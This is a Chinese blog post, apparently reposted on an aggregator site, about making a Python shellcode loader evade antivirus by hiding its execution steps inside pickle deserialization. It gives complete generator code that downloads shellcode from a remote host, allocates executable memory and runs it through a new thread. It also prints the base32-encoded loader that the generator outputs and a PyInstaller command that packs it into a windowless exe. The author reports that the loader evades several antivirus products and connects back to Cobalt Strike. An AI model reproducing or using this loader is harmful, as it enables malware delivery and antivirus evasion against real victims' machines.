python类加载器_利用Python反序列化运行加载器实现免杀
前言
前幾天在看Python的shellcode加載器,在網上找了一個,結果加載器自身就過不了火絨,測試發現是火絨對關鍵語句進行了識別。
所以我們要想辦法去掉加載器中明顯的特征。
原理及實現
在繞過靜態查殺方面,主要就是要隱藏特征,比較常見的就是各種混淆、加密,但加密后的代碼到最終還是需要去執行它才行,代碼執行這一個操作其實特征也是很明顯的,像exec、eval、os.system、subprocess.Popen這種,一眼就能看出來。所以也要想辦法隱藏執行這一步的特征,這里就可以利用反序列化。
下面我們來看一段Python反序列化的代碼:
import subprocessimport cPickleclass gugu(object):def __reduce__(self):return (subprocess.Popen, (('calc.exe',),))ret = cPickle.dumps(gugu())print repr(ret)cPickle.loads(ret)
程序在執行完畢后輸出了序列化后的值,并彈了個計算器,代碼中__reduce__的定義如下:
__reduce__(self)
當定義擴展類型時(也就是使用Python的C語言API實現的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。__reduce__被定義之后,當對象被Pickle時就會被調用。它要么返回一個代表全局名稱的字符串,Pyhton會查找它并pickle,要么返回一個元組。這個元組包含2到5個元素,其中包括:一個可調用的對象,用于重建對象時調用;一個參數元素,供那個可調用對象使用;被傳遞給 setstate 的狀態(可選);一個產生被pickle的列表元素的迭代器(可選);一個產生被pickle的字典元素的迭代器(可選);
所以核心就是__reduce__這個魔法函數的返回值會在反序列化的時候被執行,那么我們提前將惡意代碼放進__reduce__中,序列化時記錄它的返回值,然后直接反序列化這段值就能執行惡意代碼了,對殺軟來說,整個代碼在表面上就是執行反序列化的一個操作。
在反序列化的時候我測試發現能控制的有os.system、subprocess.Popen和eval,其中前兩個是直接執行系統命令,但打包出的加載器大黑框去不掉,那就只能考慮用eval了,而eval只能執行單句,像加載器這種擁有多行代碼的沒法一次執行,所以最后采用將加載器的代碼每一行都單獨執行,將序列化后的值進行編碼,最后依次解碼反序列化即可執行加載器。
生成加載器的代碼(很丑,輕噴):
import ctypes,cPickle,base64,urllib2class test1(object):def __reduce__(self):return(eval,("urllib2.urlopen('http://192.168.227.128').read().decode('hex')",))class test2(object):def __init__(self, shellcode):self.shellcode = shellcodedef __reduce__(self):return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))class test3(object):def __init__(self, rwxpage, shellcode):self.rwxpage = rwxpageself.shellcode = shellcodedef __reduce__(self):return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))class test4(object):def __init__(self, rwxpage):self.rwxpage = rwxpagedef __reduce__(self):return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",))class test5(object):def __init__(self, handle):self.handle = handledef __reduce__(self):return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",))if __name__ == '__main__':raw_shellcode = test1()ser_shellcode = cPickle.dumps(raw_shellcode)enb32_shellcode = base64.b32encode(ser_shellcode)shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))raw_vir = test2(shellcode)ser_vir = cPickle.dumps(raw_vir)enb32_vir = base64.b32encode(ser_vir)rwxpage = cPickle.loads(base64.b32decode(enb32_vir))raw_rtl = test3(rwxpage, shellcode)ser_rtl = cPickle.dumps(raw_rtl)enb32_rtl = base64.b32encode(ser_rtl)raw_handle=test4(rwxpage)ser_handle = cPickle.dumps(raw_handle)enb32_handle = base64.b32encode(ser_handle)handle = cPickle.loads(base64.b32decode(enb32_handle))raw_run = test5(handle)ser_run = cPickle.dumps(raw_run)enb32_run = base64.b32encode(ser_run)output = '''import ctypes,cPickle,base64,urllib2e_shellcode = "{}"shellcode = cPickle.loads(base64.b32decode(e_shellcode))e_rwxpage="{}"rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))e_code = "{}"cPickle.loads(base64.b32decode(e_code))e_handle = "{}"handle = cPickle.loads(base64.b32decode(e_handle))e_run = "{}"cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run)with open('Loader.py','w') as f:f.write(output)f.close()
運行完畢后會生成一個加載器,生成的加載器代碼:
import ctypes,cPickle,base64,urllib2e_shellcode = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGITVOJWGY2LCGIXHK4TMN5YGK3RIE5UHI5DQHIXS6MJZGIXDCNRYFYZDENZOGEZDQJZJFZZGKYLEFAUS4ZDFMNXWIZJIE5UGK6BHFERAU4BSBJ2HAMYKKJYDICRO"shellcode = cPickle.loads(base64.b32decode(e_shellcode))e_rwxpage="MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFM2LSOR2WC3CBNRWG6YZIGAWGYZLOFBZWQZLMNRRW6ZDFFEWDA6BRGAYDALBQPA2DAKJHBJYDECTUOAZQUUTQGQFC4==="rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))e_code = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFE5DMJVXXMZKNMVWW64TZFBZHO6DQMFTWKLDDOR4XAZLTFZRXEZLBORSV643UOJUW4Z27MJ2WMZTFOIUHG2DFNRWGG33EMUUSY3DFNYUHG2DFNRWGG33EMUUSSJYKOAZAU5DQGMFFE4BUBIXA===="cPickle.loads(base64.b32decode(e_code))e_handle = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXEG4TFMF2GKVDIOJSWCZBIGAWDALDSO54HAYLHMUWDALBQFQYCSJYKOAZAU5DQGMFFE4BUBIXA===="handle = cPickle.loads(base64.b32decode(e_handle))e_run = "MNPV6YTVNFWHI2LOL5PQUZLWMFWAU4BRBIUFGJ3DOR4XAZLTFZ3WS3TENRWC423FOJXGK3BTGIXFOYLJORDG64STNFXGO3DFJ5RGUZLDOQUGQYLOMRWGKLBNGEUSOCTQGIFHI4BTBJJHANAKFY======"cPickle.loads(base64.b32decode(e_run))
然后用PyInstaller打包成exe:
PyInstaller --noconsole --onefile old_loader\old_Loader.py
測試查殺效果
在虛擬機中將360殺毒、360安全衛士、火絨和騰訊電腦管家版本和病毒庫升至最新:
然后斷網依次查殺:
CS上線測試:
執行命令測試:
結語
大家在測試免殺的時候,虛擬機一定要做好快照,殺軟升級到最新后要斷網,待測試完畢后及時恢復快照(不用有什么僥幸心理),我之前就因為操作不當,導致樣本被傳到云上了。
關于免殺,我還有一些新思路,其中包括流量等方面的,關注我們的微信公眾號,后續我們會繼續分享。大家有什么其他想法,可以到公眾號留言,歡迎交流~~~另外,初次寫文有點緊張呢,文中可能有一些表述不對的地方,希望大家可以留言指正!
最后,祝大家周末愉快~
參考
https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html
總結
以上是生活随笔為你收集整理的python类加载器_利用Python反序列化运行加载器实现免杀的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql 4.0.21 下载_W2K下
- 下一篇: 使用mysql做saas_一种SaaS企